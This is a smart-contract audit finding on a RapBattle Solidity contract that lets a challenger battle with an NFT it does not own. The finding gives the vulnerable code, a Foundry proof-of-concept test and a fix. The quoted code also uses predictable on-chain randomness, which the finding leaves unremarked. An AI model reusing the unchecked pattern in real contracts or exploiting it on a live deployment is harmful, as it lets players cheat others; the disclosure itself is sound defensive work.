Summary
Attacker can select a NFT tokenId that does not own and call RapBattle::goOnStageOrBattle
Vulnerability Details
The function RapBattle::goOnStageOrBattle sets up the enviroment for the NFT RapBattle to happen. If the one calling is the attacker, it automatically calls RapBattle::_battle , which makes 2 NFTs battle and get a winner from it.
function goOnStageOrBattle(uint256 _tokenId, uint256 _credBet) external {
if (defender == address(0)) {
defender = msg.sender;
defenderBet = _credBet;
defenderTokenId = _tokenId;
emit OnStage(msg.sender, _tokenId, _credBet);
oneShotNft.transferFrom(msg.sender, address(this), _tokenId);
credToken.transferFrom(msg.sender, address(this), _credBet);
} else {
_battle(_tokenId, _credBet);
}
}
function _battle(uint256 _tokenId, uint256 _credBet) internal {
address _defender = defender;
require(defenderBet == _credBet, "RapBattle: Bet amounts do not match");
uint256 defenderRapperSkill = getRapperSkill(defenderTokenId);
uint256 challengerRapperSkill = getRapperSkill(_tokenId);
uint256 totalBattleSkill = defenderRapperSkill + challengerRapperSkill;
uint256 totalPrize = defenderBet + _credBet;
uint256 random = uint256(
keccak256(
abi.encodePacked(block.timestamp, block.prevrandao, msg.sender)
)
) % totalBattleSkill;
defender = address(0);
emit Battle(
msg.sender,
_tokenId,
random < defenderRapperSkill ? _defender : msg.sender
);
if (random <= defenderRapperSkill) {
credToken.transfer(_defender, defenderBet);
credToken.transferFrom(msg.sender, _defender, _credBet);
} else {
credToken.transfer(msg.sender, _credBet);
}
totalPrize = 0;
oneShotNft.transferFrom(address(this), _defender, defenderTokenId);
}
However, the function never checks if the _tokenId the attacker uses to call RapBattle::goOnStageOrBattle is linked to a NFT that the user owns.
Impact
The attacker can 'borrow' a NFT from another person that is stronger in order to have better chances to win the battle
Tools Used
Foundry
Proof of Concept:
1: Defender bets 1 Cred and the stats of his Rapper are maxed
2: Attacker own NFT has lower stats than the defender, but he has a friend that has a NFT with maxed stats. So he calls RapBattle::goOnStageOrBattle with the _tokenId of his friend's NFT
3: Then, attacker has a bigger chance of winning the Rap Battle than with his own NFT
Code
function testAttackerCanBorrowNft() public twoSkilledRappers {
address attacker = makeAddr("Exploiter");
vm.startPrank(user);
oneShot.approve(address(rapBattle), 0);
cred.approve(address(rapBattle), 1);
rapBattle.goOnStageOrBattle(0, 1);
vm.stopPrank();
vm.startPrank(attacker);
oneShot.mintRapper();
oneShot.approve(address(streets), 2);
streets.stake(2);
vm.stopPrank();
vm.warp(block.timestamp + 1 days + 1);
vm.startPrank(attacker);
streets.unstake(2);
oneShot.approve(address(rapBattle), 2);
cred.approve(address(rapBattle), 1);
rapBattle.goOnStageOrBattle(1, 1);
vm.stopPrank();
}
Recommendations
Send the Nft to the contract like the defender:
function goOnStageOrBattle(uint256 _tokenId, uint256 _credBet) external {
if (defender == address(0)) {
defender = msg.sender;
defenderBet = _credBet;
defenderTokenId = _tokenId;
emit OnStage(msg.sender, _tokenId, _credBet);
oneShotNft.transferFrom(msg.sender, address(this), _tokenId);
credToken.transferFrom(msg.sender, address(this), _credBet);
} else {
+ oneShotNft.transferFrom(msg.sender, address(this), _tokenId);
_battle(_tokenId, _credBet);
}
}
function _battle(uint256 _tokenId, uint256 _credBet) internal {
.
.
.
totalPrize = 0;
+ oneShotNft.transferFrom(address(this), msg.sender, _tokenId);
oneShotNft.transferFrom(address(this), _defender, defenderTokenId);
}
